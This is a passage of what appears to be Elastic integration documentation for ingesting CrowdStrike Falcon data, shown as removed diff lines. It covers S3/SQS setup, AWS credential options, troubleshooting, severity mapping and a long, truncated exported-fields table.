-#### Use with FDR tool and data replicated to a self-managed S3 bucket
-
-This option can be used if you want to archive the raw CrowdStrike data.
-
-You need to follow the steps below:
-
-- Create a S3 bucket to receive the logs.
-- Create a SQS queue.
-- Configure your S3 bucket to send object created notifications to your SQS queue.
-- Follow the [FDR tool](https://github.com/CrowdStrike/FDR) instructions to replicate data to your own S3 bucket.
-- Configure the integration to read from your self-managed SQS topic.
-
->  NOTE: While the FDR tool can replicate the files from S3 to your local file system, this integration cannot read those files because they are gzip compressed, and the log file input does not support reading compressed files.
-
-#### Configuration for the S3 input
-
-AWS credentials are required for running this integration if you want to use the S3 input.
-
-##### Configuration parameters
-* `access_key_id`: first part of access key.
-* `secret_access_key`: second part of access key.
-* `session_token`: required when using temporary security credentials.
-* `credential_profile_name`: profile name in shared credentials file.
-* `shared_credential_file`: directory of the shared credentials file.
-* `endpoint`: URL of the entry point for an AWS web service.
-* `role_arn`: AWS IAM Role to assume.
-
-##### Credential Types
-There are three types of AWS credentials can be used:
-
-- access keys,
-- temporary security credentials, and
-- IAM role ARN.
-
-##### Access keys
-
-`AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` are the two parts of access keys.
-They are long-term credentials for an IAM user, or the AWS account root user.
-Please see [AWS Access Keys and Secret Access Keys](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html#access-keys-and-secret-access-keys)
-for more details.
-
-##### Temporary security credentials
-
-Temporary security credentials has a limited lifetime and consists of an
-access key ID, a secret access key, and a security token which typically returned
-from `GetSessionToken`.
-
-MFA-enabled IAM users would need to submit an MFA code
-while calling `GetSessionToken`. `default_region` identifies the AWS Region
-whose servers you want to send your first API request to by default.
-
-This is typically the Region closest to you, but it can be any Region. Please see
-[Temporary Security Credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
-for more details.
-
-`sts get-session-token` AWS CLI can be used to generate temporary credentials.
-For example. with MFA-enabled:
-```js
-aws> sts get-session-token --serial-number arn:aws:iam::1234:mfa/your-email@example.com --duration-seconds 129600 --token-code 123456
-```
-
-Because temporary security credentials are short term, after they expire, the
-user needs to generate new ones and manually update the package configuration in
-order to continue collecting `aws` metrics.
-
-This will cause data loss if the configuration is not updated with new credentials before the old ones expire.
-
-##### IAM role ARN
-
-An IAM role is an IAM identity that you can create in your account that has
-specific permissions that determine what the identity can and cannot do in AWS.
-
-A role does not have standard long-term credentials such as a password or access
-keys associated with it. Instead, when you assume a role, it provides you with
-temporary security credentials for your role session.
-IAM role Amazon Resource Name (ARN) can be used to specify which AWS IAM role to assume to generate
-temporary credentials.
-
-Please see [AssumeRole API documentation](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) for more details.
-
-##### Supported Formats
-1. Use access keys: Access keys include `access_key_id`, `secret_access_key`
-and/or `session_token`.
-2. Use `role_arn`: `role_arn` is used to specify which AWS IAM role to assume
-    for generating temporary credentials.
-    If `role_arn` is given, the package will check if access keys are given.
-    If not, the package will check for credential profile name.
-    If neither is given, default credential profile will be used.
-
-  Please make sure credentials are given under either a credential profile or
-  access keys.
-3. Use `credential_profile_name` and/or `shared_credential_file`:
-    If `access_key_id`, `secret_access_key` and `role_arn` are all not given, then
-    the package will check for `credential_profile_name`.
-    If you use different credentials for different tools or applications, you can use profiles to
-    configure multiple access keys in the same configuration file.
-    If there is no `credential_profile_name` given, the default profile will be used.
-    `shared_credential_file` is optional to specify the directory of your shared
-    credentials file.
-    If it's empty, the default directory will be used.
-    In Windows, shared credentials file is at `C:\Users\<yourUserName>\.aws\credentials`.
-    For Linux, macOS or Unix, the file locates at `~/.aws/credentials`.
-    Please see[Create Shared Credentials File](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/create-shared-credentials-file.html)
-    for more details.
-
-#### Troubleshooting
-
-##### Vulnerability API returns 404 Not found
-
-This error may occur for the following reasons:
-1. Too many records in the response.
-2. The pagination token has expired. Tokens expire 120 seconds after a call is made.
-
-To resolve this, adjust the `Batch Size` setting in the integration to reduce the number of records returned per pagination call.
-
-##### Duplicate Events
-
-The option `Enable Data Deduplication` allows you to avoid consuming duplicate events. By default, this option is set to `false`, and so duplicate events may be ingested. When this option is enabled, a [fingerprint processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/fingerprint-processor.html) is used to calculate a hash from a set of Crowdstrike fields that uniquely identifies the event. The hash is assigned to the Elasticsearch [`_id`](https://www.elastic.co/guide/en/elasticsearch/reference/current/mapping-id-field.html) field that makes the document unique, thus avoiding duplicates.
-
-If duplicate events are ingested, to help find them, the integration `event.id` field is populated by concatenating a few Crowdstrike fields that uniquely identifies the event. These fields are `id`, `aid`, and `cid` from the Crowdstrike event. The fields are separated with pipe `|`.
-For example, if your Crowdstrike event contains `id: 123`, `aid: 456`, and `cid: 789` then the `event.id` would be `123|456|789`.
-
-#### Alert severity mapping
-
-The values used in `event.severity` are consistent with Elastic Detection Rules.
-
-| Severity Name              | `event.severity` |
-|----------------------------|:----------------:|
-| Low, Info or Informational | 21               |
-| Medium                     | 47               |
-| High                       | 73               |
-| Critical                   | 99               |
-
-If the severity name is not available from the original document, it is determined from the numeric severity value according to the following table.
-
-| Crowdstrike `severity` | Severity Name |
-|------------------------|:-------------:|
-| 0 - 19                 | info          |
-| 20 - 39                | low           |
-| 40 - 59                | medium        |
-| 60 - 79                | high          |
-| 80 - 100               | critical      |
-
-#### Example
-
-**Exported fields**
-
-| Field | Description | Type |
-|---|---|---|
-| @timestamp | Event timestamp. | date |
-| aws.s3.bucket.arn | The AWS S3 bucket ARN. | keyword |
-| aws.s3.bucket.name | The AWS S3 bucket name. | keyword |
-| aws.s3.object.key | The AWS S3 Object key. | keyword |
-| crowdstrike.AccessType |  | keyword |
-| crowdstrike.AccountDomain |  | match_only_text |
-| crowdstrike.AccountObjectGuid |  | match_only_text |
-| crowdstrike.AccountObjectSid |  | match_only_text |
-| crowdstrike.AccountType |  | keyword |
-| crowdstrike.ActiveDirectoryAuthenticationMethod |  | keyword |
-| crowdstrike.ActivityId |  | keyword |
-| crowdstrike.AddressFamily |  | keyword |
-| crowdstrike.AdminStatus |  | keyword |
-| crowdstrike.AgentIdString |  | keyword |
-| crowdstrike.AgentLoadFlags |  | keyword |
-| crowdstrike.AgentLocalTime |  | date |
-| crowdstrike.AgentTimeOffset |  | float |
-| crowdstrike.AgentVersion |  | keyword |
-| crowdstrike.AggregateId |  | keyword |
-| crowdstrike.AllocateVirtualMemoryCount |  | long |
-| crowdstrike.AllowlistingFilterId |  | keyword |
-| crowdstrike.AnodeIndicators |  | nested |
-| crowdstrike.AntiTamperStateFlag |  | keyword |
-| crowdstrike.ApiReturnValue |  | keyword |
-| crowdstrike.ApplicationName |  | match_only_text |
-| crowdstrike.ArchiveFileWrittenCount |  | long |
-| crowdstrike.AsepClass |  | keyword |
-| crowdstrike.AsepFlags |  | keyword |
-| crowdstrike.AsepIndex |  | keyword |
-| crowdstrike.AsepValueType |  | keyword |
-| crowdstrike.AsepWrittenCount |  | long |
-| crowdstrike.AssemblyFlags |  | keyword |
-| crowdstrike.AssemblyId |  | keyword |
-| crowdstrike.AssemblyName |  | keyword |
-| crowdstrike.AssociatedFile |  | keyword |
-| crowdstrike.Attacks.Tactic |  | keyword |
-| crowdstrike.Attacks.Technique |  | keyword |
-| crowdstrike.AttemptNumber |  | long |
-| crowdstrike.AuthenticationActivityId |  | keyword |
-| crowdstrike.AuthenticationId |  | keyword |
-| crowdstrike.AuthenticationPackage |  | keyword |
-| crowdstrike.AuthenticationUuid |  | keyword |
-| crowdstrike.AuthenticationUuidAsString |  | keyword |
-| crowdstrike.AuthenticodeHashData |  | keyword |
-| crowdstrike.AuthenticodeHashDataSHA256 |  | keyword |
-| crowdstrike.BaseReachableTime |  | keyword |
-| crowdstrike.BatchDataNumber |  | keyword |
-| crowdstrike.BatchDataTotal |  | keyword |
-| crowdstrike.BatchTimestamp |  | date |
-| crowdstrike.BinaryExecutableWrittenCount |  | long |
-| crowdstrike.BiosChanged |  | match_only_text |
-| crowdstrike.BiosManufacturer |  | keyword |
-| crowdstrike.BiosReleaseDate |  | date |
-| crowdstrike.BiosVersion |  | keyword |
-| crowdstrike.BluetoothClassOfDeviceValue |  | match_only_text |
-| crowdstrike.BluetoothDeviceAppearanceValue |  | match_only_text |
-| crowdstrike.BluetoothDeviceModelNumber |  | match_only_text |
-| crowdstrike.BluetoothDeviceName |  | match_only_text |
-| crowdstrike.BluetoothServiceName_1 |  | match_only_text |
-| crowdstrike.BluetoothServiceName_3 |  | match_only_text |
-| crowdstrike.BluetoothServiceName_4 |  | match_only_text |
-| crowdstrike.BluetoothServiceName_5 |  | match_only_text |
-| crowdstrike.BluetoothServiceName_6 |  | match_only_text |
-| crowdstrike.BluetoothServiceName_7 |  | match_only_text |
-| crowdstrike.BluetoothServiceName_8 |  | match_only_text |
-| crowdstrike.BluetoothServiceUuidArray |  | match_only_text |
-| crowdstrike.BluetoothServiceUuid_1 |  | match_only_text |
-| crowdstrike.BluetoothServiceUuid_2 |  | match_only_text |
-| crowdstrike.BluetoothServiceUuid_3 |  | match_only_text |
-| crowdstrike.BluetoothServiceUuid_4 |  | match_only_text |
-| crowdstrike.BluetoothServiceUuid_5 |  | match_only_text |
-| crowdstrike.BluetoothServiceUuid_6 |  | match_only_text |
-| crowdstrike.BluetoothServiceUuid_7 |  | match_only_text |
-| crowdstrike.BluetoothServiceUuid_8 |  | match_only_text |
-| crowdstrike.BluetoothVendorIdSource |  | match_only_text |
-| crowdstrike.BootArgs |  | keyword |
-| crowdstrike.BootTimeFunctionalityLevel |  | keyword |
-| crowdstrike.BoundedCount |  | long |
-| crowdstrike.BoundingLimitCount |  | long |
-| crowdstrike.BoundingLimitDuration |  | keyword |
-| crowdstrike.BrowserExtensionId |  | keyword |
-| crowdstrike.BrowserExtensionInstallMethod |  | keyword |
-| crowdstrike.BrowserExtensionStatusEnabled |  | keyword |
-| crowdstrike.BrowserFileHash |  | keyword |
-| crowdstrike.BrowserFilePath |  | keyword |
-| crowdstrike.BrowserName |  | keyword |
-| crowdstrike.BrowserProfileId |  | keyword |
-| crowdstrike.BrowserProfileName |  | keyword |
-| crowdstrike.BrowserVersion |  | keyword |
-| crowdstrike.BundleID |  | keyword |
-| crowdstrike.CLICreationCount |  | long |
-| crowdstrike.CNAMERecords |  | keyword |
-| crowdstrike.CallStackModuleNames |  | keyword |
-| crowdstrike.CallStackModuleNamesVersion |  | version |
-| crowdstrike.CapPrm |  | keyword |
-| crowdstrike.CertificateIssuer |  | keyword |
-| crowdstrike.CertificatePublisher |  | keyword |
-| crowdstrike.CertificateSignatureHash |  | keyword |
-| crowdstrike.CertificateSignatureHashAlgorithm |  | keyword |
-| crowdstrike.ChangeId |  | keyword |
-| crowdstrike.ChangeTime |  | date |
-| crowdstrike.ChangedPcrBitmap |  | match_only_text |
-| crowdstrike.ChannelDiffStatus |  | keyword |
-| crowdstrike.ChannelId |  | keyword |
-| crowdstrike.ChannelVersion |  | keyword |
-| crowdstrike.ChannelVersionRequired |  | keyword |
-| crowdstrike.ChasisManufacturer |  | keyword |
-| crowdstrike.ChassisType |  | keyword |
-| crowdstrike.ClientComputerName |  | keyword |
-| crowdstrike.ClientId |  | match_only_text |
-| crowdstrike.ClientProcessStartKey |  | keyword |
-| crowdstrike.CloudIndicator |  | boolean |
-| crowdstrike.CommandCount |  | match_only_text |
-| crowdstrike.CommandCountMax |  | match_only_text |
-| crowdstrike.CommandHistory |  | keyword |
-| crowdstrike.CommandHistory.text | Multi-field of `crowdstrike.CommandHistory`. | match_only_text |
-| crowdstrike.CompanyName |  | keyword |
-| crowdstrike.CompletionEventId |  | keyword |
-| crowdstrike.CompositeId | Global unique identifier that identifies a unique alert. | keyword |
-| crowdstrike.ConHostId |  | keyword |
-| crowdstrike.ConHostProcessId |  | keyword |
-| crowdstrike.ConfigBuild |  | keyword |
-| crowdstrike.ConfigIDBase |  | keyword |
-| crowdstrike.ConfigIDBuild |  | keyword |
-| crowdstrike.ConfigIDPlatform |  | keyword |
-| crowdstrike.ConfigStateData |  | text |
-| crowdstrike.ConfigStateHash |  | keyword |
-| crowdstrike.ConfigurationDescriptorName |  | match_only_text |
-| crowdstrike.ConfigurationVersion |  | keyword |
-| crowdstrike.ConnectTime |  | date |
-| crowdstrike.ConnectType |  | keyword |
-| crowdstrike.ConnectionAddressIP6 |  | match_only_text |
-| crowdstrike.ConnectionFlags |  | keyword |
-| crowdstrike.ConnectionType |  | keyword |
-| crowdstrike.ContentDiff.Exists |  | boolean |
-| crowdstrike.ContentPatternCounts |  | nested |
-| crowdstrike.ContentPatterns.ConfidenceLevel |  | long |
-| crowdstrike.ContentPatterns.ID |  | keyword |
-| crowdstrike.ContentPatterns.MatchCount |  | long |
-| crowdstrike.ContentPatterns.Name |  | keyword |
-| crowdstrike.ContentSHA256HashData |  | keyword |
-| crowdstrike.ContextBaseFileName |  | keyword |
-| crowdstrike.ContextImageFileName |  | keyword |
-| crowdstrike.ContextProcessId |  | keyword |
-| crowdstrike.ContextProcessTagsAsString |  | keyword |
-| crowdstrike.ContextTimeStamp | System local time of event creation. | date |
-| crowdstrike.CpuClockSpeed |  | keyword |
-| crowdstrike.CpuFeaturesMask |  | keyword |
-| crowdstrike.CpuProcessorName |  | keyword |
-| crowdstrike.CpuSignature |  | keyword |
-| crowdstrike.CpuVendor |  | keyword |
-| crowdstrike.CreateProcessCount |  | long |
-| crowdstrike.CreateProcessType |  | keyword |
-| crowdstrike.CurrentFunctionalityLevel |  | keyword |
-| crowdstrike.CurrentLocalIP |  | ip |
-| crowdstrike.CustomerIdString |  | keyword |
-| crowdstrike.CycleTime |  | long |
-| crowdstrike.DadState |  | keyword |
-| crowdstrike.DadTransmits |  | keyword |
-| crowdstrike.Data1 |  | keyword |
-| crowdstrike.DataDomains |  | keyword |
-| crowdstrike.DcNumAttachments |  | match_only_text |
-| crowdstrike.DcNumBlockingPolicies |  | match_only_text |
-| crowdstrike.Description |  | keyword |
-| crowdstrike.DesiredAccess |  | keyword |
-| crowdstrike.Destination |  | nested |
-| crowdstrike.Destination.Channel |  | keyword |
-| crowdstrike.DetectDescription |  | keyword |
-| crowdstrike.DetectId |  | keyword |
-| crowdstrike.DetectName |  | keyword |
-| crowdstrike.DetectionType |  | keyword |
-| crowdstrike.DeviceId |  | keyword |
-| crowdstrike.DeviceMountCounter |  | long |
-| crowdstrike.DevicePropertyClassGuid |  | match_only_text |
-| crowdstrike.DevicePropertyClassName |  | match_only_text |
-| crowdstrike.DevicePropertyLocationInformation |  | match_only_text |
-| crowdstrike.DirectionType |  | keyword |
-| crowdstrike.DirectoryCreatedCount |  | long |
-| crowdstrike.DirectoryEnumeratedCount |  | long |
-| crowdstrike.DllCharacteristics |  | keyword |
-| crowdstrike.DnsRequestCount |  | long |
-| crowdstrike.DnsRequests | Detected DNS requests done by a process. | nested |
-| crowdstrike.DnsResponseType |  | keyword |
-| crowdstrike.DocumentFileWrittenCount |  | long |
-| crowdstrike.DomainSid |  | keyword |
-| crowdstrike.DotnetModuleFlags |  | keyword |
-| crowdstrike.DotnetModuleId |  | keyword |
-| crowdstrike.DownloadPath |  | keyword |
-| crowdstrike.DownloadPort |  | long |
-| crowdstrike.DownloadServer |  | keyword |
-| crowdstrike.DriverLoadFlags |  | keyword |
-| crowdstrike.DualRequest |  | keyword |
-| crowdstrike.DylibPath |  | match_only_text |
-| crowdstrike.ELFSubType |  | keyword |
-| crowdstrike.EffectiveTransmissionClass |  | keyword |
-| crowdstrike.EfiVariableCustomModeAttributes |  | match_only_text |
-| crowdstrike.EfiVariableDbAttributes |  | match_only_text |
-| crowdstrike.EfiVariableDbSha256Hash |  | match_only_text |
-| crowdstrike.EfiVariableKekAttributes |  | match_only_text |
-| crowdstrike.EfiVariableKekSha256Hash |  | match_only_text |
-| crowdstrike.EfiVariablePkAttributes |  | match_only_text |
-| crowdstrike.EfiVariablePkSha256Hash |  | match_only_text |
-| crowdstrike.EfiVariableSecureBootAttributes |  | match_only_text |
-| crowdstrike.EfiVariableSetupMode |  | match_only_text |
-| crowdstrike.EfiVariableSetupModeAttributes |  | match_only_text |
-| crowdstrike.EfiVariableSignatureSupport |  | match_only_text |
-| crowdstrike.EfiVariableSignatureSupportAttributes |  | match_only_text |
-| crowdstrike.EgressEventId |  | keyword |
-| crowdstrike.EgressSessionId |  | keyword |
-| crowdstrike.EnabledPrivilegesBitmask |  | keyword |
-| crowdstrike.EndTime |  | date |
-| crowdstrike.Entitlements |  | keyword |
-| crowdstrike.EnvironmentVariableName |  | keyword |
-| crowdstrike.EnvironmentVariableValue |  | keyword |
-| crowdstrike.EnvironmentVariablesString |  | match_only_text |
-| crowdstrike.ErrorCode |  | keyword |
-| crowdstrike.ErrorStatus |  | keyword |
-| crowdstrike.EtwProviderType |  | keyword |
-| crowdstrike.EtwRawProcessId |  | long |
-| crowdstrike.EtwRawRpcClientProcessId |  | keyword |
-| crowdstrike.EtwRawThreadId |  | long |
-| crowdstrike.EventCorrelationId |  | keyword |
-| crowdstrike.EventOrigin |  | integer |
-| crowdstrike.EventTimestamp |  | date |
-| crowdstrike.EventType |  | keyword |
-| crowdstrike.EventUUID |  | keyword |
-| crowdstrike.ExceptionAddress |  | keyword |
-| crowdstrike.ExceptionCode |  | keyword |
-| crowdstrike.ExceptionInformation0 |  | keyword |
-| crowdstrike.ExclusionSource |  | keyword |
-| crowdstrike.ExclusionType |  | keyword |
-| crowdstrike.ExeAndServiceCount |  | long |
-| crowdstrike.ExecutableBytes |  | match_only_text |
-| crowdstrike.ExecutableDeletedCount |  | long |
-| crowdstrike.ExtendedAttributeValue |  | match_only_text |
-| crowdstrike.ExtendedAttributeValueReadable |  | match_only_text |
-| crowdstrike.ExtendedKeyUsages |  | keyword |
-| crowdstrike.ExternalApiType |  | keyword |
-| crowdstrike.FXFileSize |  | keyword |
-| crowdstrike.Facility |  | keyword |
-| crowdstrike.FailedConnectCount |  | long |
-| crowdstrike.FalconGroupingTags |  | keyword |
-| crowdstrike.FalconHostLink |  | keyword |
-| crowdstrike.FeatureExtractionVersion |  | keyword |
-| crowdstrike.FeatureVector |  | match_only_text |
-| crowdstrike.File |  | keyword |
-| crowdstrike.FileAttributes |  | keyword |
-| crowdstrike.FileAttributesNew |  | keyword |
-| crowdstrike.FileAttributesPrevious |  | keyword |
-| crowdstrike.FileCategory |  | keyword |
-| crowdstrike.FileCategoryCounts |  | nested |
-| crowdstrike.FileContent |  | match_only_text |
-| crowdstrike.FileDeletedCount |  | long |
-| crowdstrike.FileEcpBitmask |  | keyword |
-| crowdstrike.FileName |  | keyword |
-| crowdstrike.FileObject |  | keyword |
-| crowdstrike.FileOperatorSid |  | keyword |
-| crowdstrike.FilePath |  | keyword |
-| crowdstrike.FileSigningTime |  | keyword |
-| crowdstrike.FileSubType |  | keyword |
-| crowdstrike.FileSystemOperationType |  | keyword |
-| crowdstrike.FileType.Type.CategoryID |  | keyword |
-| crowdstrike.FileType.Type.CategoryName |  | keyword |
-| crowdstrike.FileType.Type.Description |  | keyword |
-| crowdstrike.FileType.Type.ID |  | keyword |
-| crowdstrike.FileType.Type.Name |  | keyword |
-| crowdstrike.FileVaultIsEnabled |  | match_only_text |
-| crowdstrike.FileVersion |  | keyword |
-| crowdstrike.FileWrittenFlags |  | keyword |
-| crowdstrike.FilesAccessed.FileName |  | keyword |
-| crowdstrike.FilesAccessed.FilePath |  | keyword |
-| crowdstrike.FilesAccessed.Timestamp |  | date |
-| crowdstrike.FilesEgressedCount |  | long |
-| crowdstrike.FilesWritten.FileName |  | keyword |
-| crowdstrike.FilesWritten.FilePath |  | keyword |
-| crowdstrike.FilesWritten.Timestamp |  | date |
-| crowdstrike.FirewallAction |  | keyword |
-| crowdstrike.FirewallOption |  | keyword |
-| crowdstrike.FirewallOptionNumericValue |  | keyword |
-| crowdstrike.FirewallProfile |  | keyword |
-| crowdstrike.FirewallRule |  | keyword |
-| crowdstrike.FirewallRuleId |  | keyword |
-| crowdstrike.FirmwareAnalysisEclConsumerInterfaceVersion |  | keyword |
-| crowdstrike.FirmwareAnalysisEclControlInterfaceVersion |  | keyword |
-| crowdstrike.FirstCommand |  | match_only_text |
-| crowdstrike.FirstDiscoveredDate |  | date |
-| crowdstrike.FirstIP4Record |  | keyword |
-| crowdstrike.FirstSeen |  | date |
-| crowdstrike.FixedFileVersion |  | keyword |
-| crowdstrike.Flags |  | keyword |
-| crowdstrike.FltCallbackData |  | keyword |
-| crowdstrike.FltCompletionContext |  | keyword |
-| crowdstrike.FltRelatedObjects |  | keyword |
-| crowdstrike.FontBuffer |  | keyword |
-| crowdstrike.FontBufferLength |  | keyword |
-| crowdstrike.FontFileCount |  | long |
-| crowdstrike.FontFileName |  | keyword |
-| crowdstrike.FontLoadOperation |  | keyword |
-| crowdstrike.FsOperationClassification |  | keyword |
-| crowdstrike.FsOperationClassificationFlags |  | keyword |
-| crowdstrike.FullExceptionRecord |  | keyword |
-| crowdstrike.GenericFileWrittenCount |  | long |
-| crowdstrike.GrandParentBaseFileName |  | keyword |
-| crowdstrike.GrandparentCommandLine |  | keyword |
-| crowdstrike.GrandparentCommandLine.text | Multi-field of `crowdstrike.GrandparentCommandLine`. | match_only_text |
-| crowdstrike.GrandparentImageFileName |  | keyword |
-| crowdstrike.GrandparentImageFilePath |  | keyword |
-| crowdstrike.GrandparentProcessId |  | keyword |
-| crowdstrike.GroupRid |  | keyword |
-| crowdstrike.HandleCreateAuthenticationId |  | keyword |
-| crowdstrike.HandleCreated |  | keyword |
-| crowdstrike.HandleOperationType |  | keyword |
-| crowdstrike.HashAlgorithm |  | keyword |
-| crowdstrike.HostGroups |  | keyword |
-| crowdstrike.HostHiddenStatus |  | keyword |
-| crowdstrike.HostProcessType |  | keyword |
-| crowdstrike.HttpInternalSource |  | match_only_text |
-| crowdstrike.HttpMethod |  | match_only_text |
-| crowdstrike.HttpRequestHeader |  | match_only_text |
-| crowdstrike.HttpUrl |  | match_only_text |
-| crowdstrike.IOCType |  | keyword |
-| crowdstrike.IOCValue |  | keyword |
-| crowdstrike.IOServiceClass |  | keyword |
-| crowdstrike.IOServiceName |  | keyword |
-| crowdstrike.IOServicePath |  | keyword |
-| crowdstrike.IP4Records |  | keyword |
-| crowdstrike.IcmpCode |  | keyword |
-| crowdstrike.IcmpType |  | keyword |
-| crowdstrike.IfType |  | keyword |
-| crowdstrike.ImageBaseName |  | keyword |
-| crowdstrike.ImageCheckSum |  | keyword |
-| crowdstrike.ImageEntryPoint |  | keyword |
-| crowdstrike.ImageFileName |  | keyword |
-| crowdstrike.ImageSignatureLevel |  | keyword |
-| crowdstrike.ImageSignatureType |  | keyword |
-| crowdstrike.ImageSubsystem |  | keyword |
-| crowdstrike.ImageTimeStamp |  | keyword |
-| crowdstrike.ImpersonatedUserName |  | keyword |
-| crowdstrike.InBroadcastOctets |  | keyword |
-| crowdstrike.InContext |  | keyword |
-| crowdstrike.InDiscards |  | keyword |
-| crowdstrike.InErrors |  | keyword |
-| crowdstrike.InMulticastOctets |  | keyword |
-| crowdstrike.InMulticastPkts |  | keyword |
-| crowdstrike.InNUcastPkts |  | keyword |
-| crowdstrike.InOctets |  | keyword |
-| crowdstrike.InUcastOctets |  | keyword |
-| crowdstrike.InUcastPkts |  | keyword |
-| crowdstrike.InUnknownProtos |  | keyword |
-| crowdstrike.IndividualDiskInfo |  | match_only_text |
-| crowdstrike.Information |  | keyword |
-| crowdstrike.InjectedDll |  | keyword |
-| crowdstrike.InjectedDllCount |  | long |
-| crowdstrike.InjectedThreadCount |  | long |
-| crowdstrike.InjectedThreadFlag |  | keyword |
-| crowdstrike.InstanceMetadata |  | match_only_text |
-| crowdstrike.InstanceMetadataSignature |  | match_only_text |
-| crowdstrike.IntegrityLevel |  | keyword |
-| crowdstrike.InterfaceAlias |  | keyword |
-| crowdstrike.InterfaceDescription |  | keyword |
-| crowdstrike.InterfaceFlags |  | keyword |
-| crowdstrike.InterfaceGuid |  | keyword |
-| crowdstrike.InterfaceIdentifier |  | keyword |
-| crowdstrike.InterfaceIndex |  | long |
-| crowdstrike.InterfaceKind |  | match_only_text |
-| crowdstrike.InterfaceMtu |  | keyword |
-| crowdstrike.InterfaceType |  | keyword |
-| crowdstrike.InterfaceVersion |  | keyword |
-| crowdstrike.IpEntryFlags |  | keyword |
-| crowdstrike.IrpFlags |  | keyword |
-| crowdstrike.IsClipboard |  | boolean |
-| crowdstrike.IsEBPF |  | keyword |
-| crowdstrike.IsFromDifferentMountNamespace |  | keyword |
-| crowdstrike.IsHosted |  | keyword |
-| crowdstrike.IsOnNetwork |  | keyword |
-| crowdstrike.IsOnRemovableDisk |  | keyword |
-| crowdstrike.IsProcessInitializing |  | keyword |
-| crowdstrike.IsTransactedFile |  | keyword |
-| crowdstrike.IsUnique |  | keyword |
-| crowdstrike.KernelTime |  | long |
-| crowdstrike.KeyObject |  | match_only_text |
-| crowdstrike.LanguageId |  | keyword |
-| crowdstrike.LastAdded |  | match_only_text |
-| crowdstrike.LastDiscoveredBy |  | keyword |
-| crowdstrike.LastDisplayed |  | match_only_text |
-| crowdstrike.LastLoggedOnHost |  | keyword |
-| crowdstrike.LastPendingUpdateInstalledTime |  | match_only_text |
-| crowdstrike.LaunchItemType |  | match_only_text |
-| crowdstrike.LaunchItemUrl |  | match_only_text |
-| crowdstrike.LdapSearchFilterSample |  | match_only_text |
-| crowdstrike.LfoUploadFlags |  | keyword |
-| crowdstrike.LightningLatencyState |  | keyword |
-| crowdstrike.Line |  | keyword |
-| crowdstrike.LinkLocalAddressBehavior |  | keyword |
-| crowdstrike.LinkLocalAddressTimeout |  | keyword |
-| crowdstrike.LocalAddressIP4 |  | ip |
-| crowdstrike.LocalAddressIP6 |  | ip |
-| crowdstrike.LocalAddressMaskIP4 |  | keyword |
-| crowdstrike.LocalAddressMaskIP6 |  | keyword |
-| crowdstrike.LocalAdminAccess |  | keyword |
-| crowdstrike.LocalIP |  | ip |
-| crowdstrike.LocalIPv6 |  | ip |
-| crowdstrike.LocalIpAddressPipelineSource |  | keyword |
-| crowdstrike.LogicalCoreCount |  | long |
-| crowdstrike.LoginSessionId |  | keyword |
-| crowdstrike.LogoffTime |  | date |
-| crowdstrike.LogonDomain |  | keyword |
-| crowdstrike.LogonId |  | keyword |
-| crowdstrike.LogonInfo |  | keyword |
-| crowdstrike.LogonServer |  | keyword |
-| crowdstrike.LogonTime |  | date |
-| crowdstrike.LogonType |  | keyword |
-| crowdstrike.MACAddress |  | keyword |
-| crowdstrike.MACPrefix |  | keyword |
-| crowdstrike.MD5HashData |  | keyword |
-| crowdstrike.MD5String |  | keyword |
-| crowdstrike.MLModelVersion |  | keyword |
-| crowdstrike.MachOSubType |  | keyword |
-| crowdstrike.MajorFunction |  | keyword |
-| crowdstrike.MajorVersion |  | keyword |
-| crowdstrike.Malicious |  | keyword |
-| crowdstrike.ManagedPdbBuildPath |  | match_only_text |
-| crowdstrike.MappedFromUserMode |  | keyword |
-| crowdstrike.MatchedClassification.ID |  | keyword |
-| crowdstrike.MatchedClassification.Name |  | keyword |
-| crowdstrike.MaxReassemblySize |  | keyword |
-| crowdstrike.MaxRouterAdvertisementInterval |  | keyword |
-| crowdstrike.MaxThreadCount |  | long |
-| crowdstrike.MediaConnectState |  | keyword |
-| crowdstrike.MediaType |  | keyword |
-| crowdstrike.MemoryAvailable |  | match_only_text |
-| crowdstrike.MemoryTotal |  | keyword |
-| crowdstrike.Metric |  | keyword |
-| crowdstrike.MicrocodeSignature |  | keyword |
-| crowdstrike.MinRouterAdvertisementInterval |  | keyword |
-| crowdstrike.MinorFunction |  | keyword |
-| crowdstrike.MinorVersion |  | keyword |
-| crowdstrike.MmioDataGenPmconB |  | match_only_text |
-| crowdstrike.MmioDataSmiEn |  | match_only_text |
-| crowdstrike.MmioDataTco1Cnt |  | match_only_text |
-| crowdstrike.MoboManufacturer |  | keyword |
-| crowdstrike.MoboProductName |  | keyword |
-| crowdstrike.ModelPrediction |  | keyword |
-| crowdstrike.ModuleCharacteristics |  | keyword |
-| crowdstrike.ModuleILPath |  | keyword |
-| crowdstrike.ModuleLoadCount |  | long |
-| crowdstrike.ModuleLoadTelemetryClassification |  | keyword |
-| crowdstrike.ModuleSize |  | keyword |
-| crowdstrike.MountedVolumeAction |  | keyword |
-| crowdstrike.NDRoot |  | keyword |
-| crowdstrike.NegateInterface |  | keyword |
-| crowdstrike.NegateLocalAddress |  | keyword |
-| crowdstrike.NegateRemoteAddress |  | keyword |
-| crowdstrike.NeighborList |  | keyword |
-| crowdstrike.NeighborName |  | keyword |
-| crowdstrike.NetLuidIndex |  | long |
-| crowdstrike.NetworkAccesses.AccessTimestamp |  | keyword |
-| crowdstrike.NetworkAccesses.AccessType |  | keyword |
-| crowdstrike.NetworkAccesses.ConnectionDirection |  | keyword |
-| crowdstrike.NetworkAccesses.IsIPV6 |  | keyword |
-| crowdstrike.NetworkAccesses.LocalAddress |  | keyword |
-| crowdstrike.NetworkAccesses.LocalPort |  | keyword |
-| crowdstrike.NetworkAccesses.Protocol |  | keyword |
-| crowdstrike.NetworkAccesses.RemoteAddress |  | keyword |
-| crowdstrike.NetworkAccesses.RemotePort |  | keyword |
-| crowdstrike.NetworkBindCount |  | long |
-| crowdstrike.NetworkCapableAsepWriteCount |  | long |
-| crowdstrike.NetworkCloseCount |  | long |
-| crowdstrike.NetworkConnectCount |  | long |
-| crowdstrike.NetworkConnectCountUdp |  | long |
-| crowdstrike.NetworkContainmentState |  | keyword |
-| crowdstrike.NetworkGuid |  | keyword |
-| crowdstrike.NetworkInterfaceGuid |  | keyword |
-| crowdstrike.NetworkListenCount |  | long |
